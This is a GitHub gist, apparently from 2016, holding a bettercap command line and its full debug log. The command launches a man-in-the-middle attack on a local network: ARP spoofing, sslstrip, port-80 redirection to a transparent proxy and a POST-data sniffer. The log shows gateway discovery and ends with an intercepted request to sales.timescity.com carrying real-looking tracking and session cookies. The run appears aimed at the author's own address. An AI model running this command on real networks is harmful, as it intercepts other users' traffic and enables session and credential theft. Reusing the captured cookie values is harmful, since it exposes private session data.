Skip to content

Instantly share code, notes, and snippets.

@techsethi

techsethi/post.rb

Created February 17, 2016 12:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save techsethi/c045ab69c46c19991f02 to your computer and use it in GitHub Desktop.
Save techsethi/c045ab69c46c19991f02 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
post.rb
better-cap sudo bettercap -T 10.149.236.117 -L -D --proxy -P POST
_ _ _
| |__ ___| |_| |_ ___ _ __ ___ __ _ _ __
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) | __/ |_| || __/ | | (_| (_| | |_) |
|_.__/ \___|\__|\__\___|_| \___\__,_| .__/
|_| v1.4.1
http://bettercap.org/
[I] Starting [ spoofing:✔ discovery:✘ sniffer:✔ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:✘ ] ...
[D] ifconfig en0
[D] Using ifconfig
[D] OSX ifconfig en0:
["en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500", "options=10b<RXCSUM,TXCSUM,VLAN_HWTAGGING,AV>", "ether 40:6c:8f:0c:8d:40", "inet6 fe80::426c:8fff:fe0c:8d40%en0 prefixlen 64 scopeid 0x4", "inet 10.149.236.117 netmask 0xffffff00 broadcast 10.149.236.255", "nd6 options=1<PERFORMNUD>", "media: autoselect (1000baseT <full-duplex>)", "status: active"]
[D] NETSTAT:
Routing tables
Internet:
Destination Gateway Flags Refs Use Netif Expire
default 10.149.236.1 UGSc 25 38 en0
10.149.236/24 link#4 UCS 4 0 en0
10.149.236.1/32 link#4 UCS 2 0 en0
10.149.236.1 44:31:92:30:b6:ab UHLWIir 23 9 en0 1071
10.149.236.30 b8:6b:23:ea:41:b9 UHLWI 0 0 en0 692
10.149.236.43 b8:6b:23:df:91:b4 UHLWI 0 0 en0 460
10.149.236.73 38:c9:86:2f:81:85 UHLWI 0 0 en0 1182
10.149.236.117/32 link#4 UCS 1 0 en0
10.149.236.117 40:6c:8f:c:8d:40 UHLWIi 1 10 lo0
10.149.236.255 ff:ff:ff:ff:ff:ff UHLWbI 0 5 en0
127 127.0.0.1 UCS 0 88 lo0
127.0.0.1 127.0.0.1 UH 57 2071171 lo0
169.254 link#4 UCS 0 0 en0
255.255.255.255/32 link#4 UCS 1 0 en0
255.255.255.255 ff:ff:ff:ff:ff:ff UHLWbI 0 5 en0
Internet6:
Destination Gateway Flags Netif Expire
::1 ::1 UHL lo0
fe80::%lo0/64 fe80::1%lo0 UcI lo0
fe80::1%lo0 link#1 UHLI lo0
fe80::%en0/64 link#4 UCI en0
fe80::426c:8fff:fe0c:8d40%en0 40:6c:8f:c:8d:40 UHLI lo0
ff01::%lo0/32 ::1 UmCI lo0
ff01::%en0/32 link#4 UmCI en0
ff01::%en1/32 link#5 UmCI en1
ff02::%lo0/32 ::1 UmCI lo0
ff02::%en0/32 link#4 UmCI en0
ff02::%en1/32 link#5 UmCI en1
[D] ----- NETWORK INFORMATIONS -----
[D] network = 10.149.236.0
[D] gateway = 10.149.236.1
[D] local_ip = 10.149.236.117
[D] ifconfig[:iface] = en0
[D] ifconfig[:eth_saddr] = 40:6c:8f:0c:8d:40
[D] ifconfig[:eth_src] = @l�
�@
[D] ifconfig[:ip6_saddr] = fe80::426c:8fff:fe0c:8d40
[D] ifconfig[:ip6_obj] = fe80::426c:8fff:fe0c:8d40
[D] ifconfig[:ip_saddr] = 10.149.236.117
[D] ifconfig[:ip_src] =
��u
[D] ifconfig[:ip4_obj] = 10.149.236.0
[D] --------------------------------
[D] PacketQueue worker started.
[D] PacketQueue worker started.
[D] PacketQueue worker started.
[D] PacketQueue worker started.
[D] Preloading hardware vendor prefixes ...
[I] [GATEWAY] 10.149.236.1 : 44:31:92:30:B6:AB ( Hewlett Packard )
[D] Starting ARP spoofer ( Full Duplex ) ...
[D] ARP watcher started ...
[D] RESPONSE LINE: 'HTTP/1.1 200 OK'
[D] RESPONSE LINE: 'Connection: close'
[D] RESPONSE LINE: 'Content-Length: 558'
[D] RESPONSE LINE: 'Content-Type: image/x-icon'
[D] RESPONSE LINE: ''
[I] [DNS] Starting on 0.0.0.0:5300 ( 0 redirection rule ) ...
[D] Redirecting TCP traffic from port 80 to 10.149.236.117:8080
[I] [HTTP] Proxy starting on 10.149.236.117:8080 ...
[I] [TARGET] 10.149.236.117 : 40:6C:8F:0C:8D:40 ( Apple )
[D] Starting sniffer ...
[D] Loading parser POST ( BetterCap::Parsers::Post ) ...
[D] REQUEST LINE: 'POST /restaurants/search HTTP/1.1'
[D] REQUEST LINE: 'Host: sales.timescity.com'
[D] REQUEST LINE: 'Connection: keep-alive'
[D] REQUEST LINE: 'Content-Length: 156'
[D] REQUEST LINE: 'Cache-Control: max-age=0'
[D] REQUEST LINE: 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
[D] REQUEST LINE: 'Origin: http://sales.timescity.com'
[D] REQUEST LINE: 'Upgrade-Insecure-Requests: 1'
[D] REQUEST LINE: 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36'
[D] REQUEST LINE: 'Content-Type: application/x-www-form-urlencoded'
[D] REQUEST LINE: 'DNT: 1'
[D] REQUEST LINE: 'Referer: http://sales.timescity.com/users/perform_search'
[D] REQUEST LINE: 'Accept-Encoding: gzip, deflate'
[D] REQUEST LINE: 'Accept-Language: en-US,en;q=0.8,hi;q=0.6'
[D] REQUEST LINE: 'Cookie: __gads=ID=26621080499d53fc:T=1399878875:S=ALNI_MY-M0o72OvS1iyftfbFUFiZIsUXCw; __utma=112747777.505345797.1400504342.1412678794.1413800848.28; _ga=GA1.2.505345797.1400504342; fbm_117653771586254=base_domain=.timescity.com; G_USERSTATE_H2=112305830479011972369=1; optimizelyBuckets=%7B%22328290102%22%3A%22328287158%22%7D; optimizelyEndUserId=oeu1398937387600r0.39305309765040874; optimizelySegments=%7B%2217313'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment